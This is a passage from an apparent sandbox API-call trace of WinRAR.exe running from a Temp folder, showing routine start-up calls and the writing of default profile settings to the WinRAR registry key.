dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.871] GetModuleHandleW (lpModuleName="kernel32") returned 0x77ae0000 [0049.871] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDllDirectoryW") returned 0x77b2d8c0 [0049.871] SetDllDirectoryW (lpPathName="") returned 1 [0049.871] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0049.871] SetErrorMode (uMode=0x8005) returned 0x0 [0049.871] GetCurrentProcess () returned 0xffffffffffffffff [0049.871] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c700, lpSystemAffinityMask=0x18c708 | out: lpProcessAffinityMask=0x18c700, lpSystemAffinityMask=0x18c708) returned 1 [0049.872] GetCurrentThreadId () returned 0xa10 [0049.872] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc0 [0049.872] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc13e [0049.872] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x13f1fcf8c, phModule=0x18b9b0 | out: phModule=0x18b9b0*=0x13f160000) returned 1 [0049.872] GetModuleFileNameW (in: hModule=0x13f160000, lpFilename=0x13f2e9740, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0049.873] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0049.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0049.873] SHGetMalloc (in: ppMalloc=0x18b930 | out: ppMalloc=0x18b930*=0x7fefe535380) returned 0x0 [0049.874] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18b978 | out: ppidl=0x18b978) returned 0x0 [0051.546] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x13f2e9740 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.547] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0051.547] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0051.547] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0051.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0051.547] GetLastError () returned 0x2 [0051.547] SetLastError (dwErrCode=0x2) [0051.547] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x18bb40 | out: phkResult=0x18bb40*=0x0) returned 0x2 [0051.547] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x18c760 | out: phkResult=0x18c760*=0x0) returned 0x2 [0051.547] SHGetMalloc (in: ppMalloc=0x18c700 | out: ppMalloc=0x18c700*=0x7fefe535380) returned 0x0 [0051.547] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18c748 | out: ppidl=0x18c748) returned 0x0 [0051.547] SHGetPathFromIDListW (in: pidl=0x202470, pszPath=0x18d880 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.548] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0051.548] IMalloc:Free (This=0x7fefe535380, pv=0x202470) [0051.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b760, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.548] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1895c8 | out: phkResult=0x1895c8*=0x0) returned 0x2 [0051.548] GetVersionExW (in: lpVersionInformation=0x18b640*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18b640*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.548] LoadLibraryExW (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0051.548] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1896f8 | out: phkResult=0x1896f8*=0x0) returned 0x2 [0051.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x188700, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.548] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.549] GetLastError () returned 0x2 [0051.549] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.549] GetLastError () returned 0x2 [0051.549] FindResourceW (hModule=0x13f160000, lpName="RTL", lpType=0x5) returned 0x0 [0051.549] LoadIconW (hInstance=0x13f160000, lpIconName=0x65) returned 0x401d1 [0051.549] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.549] RegisterClassW (lpWndClass=0x18c800) returned 0xc140 [0051.549] RegisterClassW (lpWndClass=0x18c800) returned 0xc141 [0051.550] RegisterClassW (lpWndClass=0x18c800) returned 0xc142 [0051.550] RegisterClassW (lpWndClass=0x18c800) returned 0xc143 [0051.550] RegisterClassW (lpWndClass=0x18c800) returned 0xc144 [0051.550] GetSystemDirectoryW (in: lpBuffer=0x18b720, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0051.550] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x7fef7980000 [0052.009] OleInitialize (pvReserved=0x0) returned 0x0 [0052.010] InitCommonControlsEx (picce=0x18c790) returned 1 [0052.011] GdiplusStartup (in: token=0x18c798, input=0x18c760, output=0x0 | out: token=0x18c798, output=0x0) returned 0x0 [0052.014] SHGetMalloc (in: ppMalloc=0x13f30aa30 | out: ppMalloc=0x13f30aa30*=0x7fefe535380) returned 0x0 [0052.014] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa468) returned 0x208e20 [0052.015] GetCurrentProcess () returned 0xffffffffffffffff [0052.015] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c640, lpSystemAffinityMask=0x18c648 | out: lpProcessAffinityMask=0x18c640, lpSystemAffinityMask=0x18c648) returned 1 [0052.015] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xc0) returned 0x1e2bb0 [0052.015] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2058) returned 0x213290 [0052.016] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xd110) returned 0x2152f0 [0052.016] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000) returned 0x222410 [0052.016] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4060) returned 0x226420 [0052.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa758) returned 0x22a490 [0052.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa0f0) returned 0x234bf0 [0052.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x5080) returned 0x23ecf0 [0052.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2c20) returned 0x243d80 [0052.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20a0) returned 0x2469b0 [0052.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000) returned 0x248a60 [0052.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8560) returned 0x24ca70 [0052.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000) returned 0x254fe0 [0052.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4ec0) returned 0x258ff0 [0052.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x28) returned 0x1e57b0 [0052.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2190) returned 0x25dec0 [0052.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000) returned 0x260060 [0052.020] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6a258) returned 0x2910080 [0052.021] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x4000) returned 0x264070 [0052.021] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20a0) returned 0x268080 [0052.021] GetLastError () returned 0x0 [0052.021] SetLastError (dwErrCode=0x0) [0052.021] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0x18bb00 | out: phkResult=0x18bb00*=0x0) returned 0x2 [0052.022] GetCurrentProcess () returned 0xffffffffffffffff [0052.022] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698 | out: lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698) returned 1 [0052.022] GetCurrentProcess () returned 0xffffffffffffffff [0052.022] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8 | out: lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8) returned 1 [0052.022] GetLastError () returned 0x0 [0052.022] SetLastError (dwErrCode=0x0) [0052.022] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2a0 | out: phkResult=0x18c2a0*=0x0) returned 0x2 [0052.022] LoadStringW (in: hInstance=0x13f160000, uID=0x3f0, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="Default Profile") returned 0xf [0052.022] GetLastError () returned 0x0 [0052.022] SetLastError (dwErrCode=0x0) [0052.022] GetLastError () returned 0x0 [0052.022] SetLastError (dwErrCode=0x0) [0052.022] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x0) returned 0x2 [0052.022] GetLastError () returned 0x0 [0052.022] SetLastError (dwErrCode=0x0) [0052.022] GetLastError () returned 0x0 [0052.022] SetLastError (dwErrCode=0x0) [0052.022] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x1) returned 0x0 [0052.023] RegSetValueExW (in: hKey=0x164, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Default Profile", cbData=0x20 | out: lpData="Default Profile") returned 0x0 [0052.023] RegCloseKey (hKey=0x164) returned 0x0 [0052.023] GetLastError () returned 0x0 [0052.023] SetLastError (dwErrCode=0x0) [0052.023] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.023] RegSetValueExW (in: hKey=0x164, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.023] RegCloseKey (hKey=0x164) returned 0x0 [0052.023] GetLastError () returned 0x0 [0052.024] SetLastError (dwErrCode=0x0) [0052.024] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.024] RegDeleteValueW (hKey=0x164, lpValueName="ArcName") returned 0x2 [0052.024] RegCloseKey (hKey=0x164) returned 0x0 [0052.024] GetLastError () returned 0x0 [0052.024] SetLastError (dwErrCode=0x0) [0052.024] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.024] RegDeleteValueW (hKey=0x164, lpValueName="FileNames") returned 0x2 [0052.024] RegCloseKey (hKey=0x164) returned 0x0 [0052.024] GetLastError () returned 0x0 [0052.024] SetLastError (dwErrCode=0x0) [0052.024] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.024] RegSetValueExW (in: hKey=0x164, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.024] RegCloseKey (hKey=0x164) returned 0x0 [0052.024] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.024] GetLastError () returned 0x0 [0052.024] SetLastError (dwErrCode=0x0) [0052.024] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.024] RegSetValueExW (in: hKey=0x164, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.207] RegCloseKey (hKey=0x164) returned 0x0 [0052.207] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.207] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.207] GetLastError () returned 0x0 [0052.207] SetLastError (dwErrCode=0x0) [0052.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.207] RegSetValueExW (in: hKey=0x164, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.207] RegCloseKey (hKey=0x164) returned 0x0 [0052.207] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.207] GetLastError () returned 0x0 [0052.207] SetLastError (dwErrCode=0x0) [0052.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.207] RegSetValueExW (in: hKey=0x164, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.207] RegCloseKey (hKey=0x164) returned 0x0 [0052.207] GetLastError () returned 0x0 [0052.207] SetLastError (dwErrCode=0x0) [0052.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.207] RegSetValueExW (in: hKey=0x164, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.207] RegCloseKey (hKey=0x164) returned 0x0 [0052.208] GetLastError () returned 0x0 [0052.208] SetLastError (dwErrCode=0x0) [0052.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.208] RegSetValueExW (in: hKey=0x164, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.208] RegCloseKey (hKey=0x164) returned 0x0 [0052.208] GetLastError () returned 0x0 [0052.208] SetLastError (dwErrCode=0x0) [0052.208] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.208] RegDeleteValueW (hKey=0x164, lpValueName="SFX") returned 0x2 [0052.208] RegCloseKey (hKey=0x164) returned 0x0 [0052.208] GetLastError () returned 0x0 [0052.208] SetLastError (dwErrCode=0x0) [0052.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.208] RegSetValueExW (in: hKey=0x164, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.208] RegCloseKey (hKey=0x164) returned 0x0 [0052.208] GetLastError () returned 0x0 [0052.208] SetLastError (dwErrCode=0x0) [0052.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.208] RegSetValueExW (in: hKey=0x164, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.209] RegCloseKey (hKey=0x164) returned 0x0 [0052.209] GetLastError () returned 0x0 [0052.209] SetLastError (dwErrCode=0x0) [0052.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.209] RegSetValueExW (in: hKey=0x164, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.209] RegCloseKey (hKey=0x164) returned 0x0 [0052.209] GetLastError () returned 0x0 [0052.209] SetLastError (dwErrCode=0x0) [0052.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.209] RegSetValueExW (in: hKey=0x164, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.209] RegCloseKey (hKey=0x164) returned 0x0 [0052.209] GetLastError () returned 0x0 [0052.209] SetLastError (dwErrCode=0x0) [0052.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.209] RegSetValueExW (in: hKey=0x164, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x2 | out: lpData=0x13f26f128*) returned 0x0 [0052.209] RegCloseKey (hKey=0x164) returned 0x0 [0052.209] GetLastError () returned 0x0 [0052.210] SetLastError (dwErrCode=0x0) [0052.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.210] RegSetValueExW (in: hKey=0x164, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0052.210] RegCloseKey (hKey=0x164) returned 0x0 [0052.210] GetLastError () returned 0x0 [0052.210] SetLastError (dwErrCode=0x0) [0052.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.210] RegSetValueExW (in: hKey=0x164, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2, cbData=0x4 | out: lpData=0x18b058*=0x2) returned 0x0 [0052.210] RegCloseKey (hKey=0x164) returned 0x0 [0052.210] GetLastError () returned 0x0 [0052.210] SetLastError (dwErrCode=0x0) [0052.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.210] RegSetValueExW (in: hKey=0x164, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.210] RegCloseKey (hKey=0x164) returned 0x0 [0052.210] GetLastError () returned 0x0 [0052.210] SetLastError (dwErrCode=0x0) [0052.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.210] RegSetValueExW (in: hKey=0x164, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.211] RegCloseKey (hKey=0x164) returned 0x0 [0052.211] GetLastError () returned 0x0 [0052.211] SetLastError (dwErrCode=0x0) [0052.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.211] RegSetValueExW (in: hKey=0x164, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.211] RegCloseKey (hKey=0x164) returned 0x0 [0052.211] GetLastError () returned 0x0 [0052.211] SetLastError (dwErrCode=0x0) [0052.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.211] RegSetValueExW (in: hKey=0x164, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.211] RegCloseKey (hKey=0x164) returned 0x0 [0052.211] GetLastError () returned 0x0 [0052.211] SetLastError (dwErrCode=0x0) [0052.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.211] RegSetValueExW (in: hKey=0x164, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.211] RegCloseKey (hKey=0x164) returned 0x0 [0052.211] GetLastError () returned 0x0 [0052.211] SetLastError (dwErrCode=0x0) [0052.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.212] RegSetValueExW (in: hKey=0x164, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.212] RegCloseKey (hKey=0x164) returned 0x0 [0052.212] GetLastError () returned 0x0 [0052.212] SetLastError (dwErrCode=0x0) [0052.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, 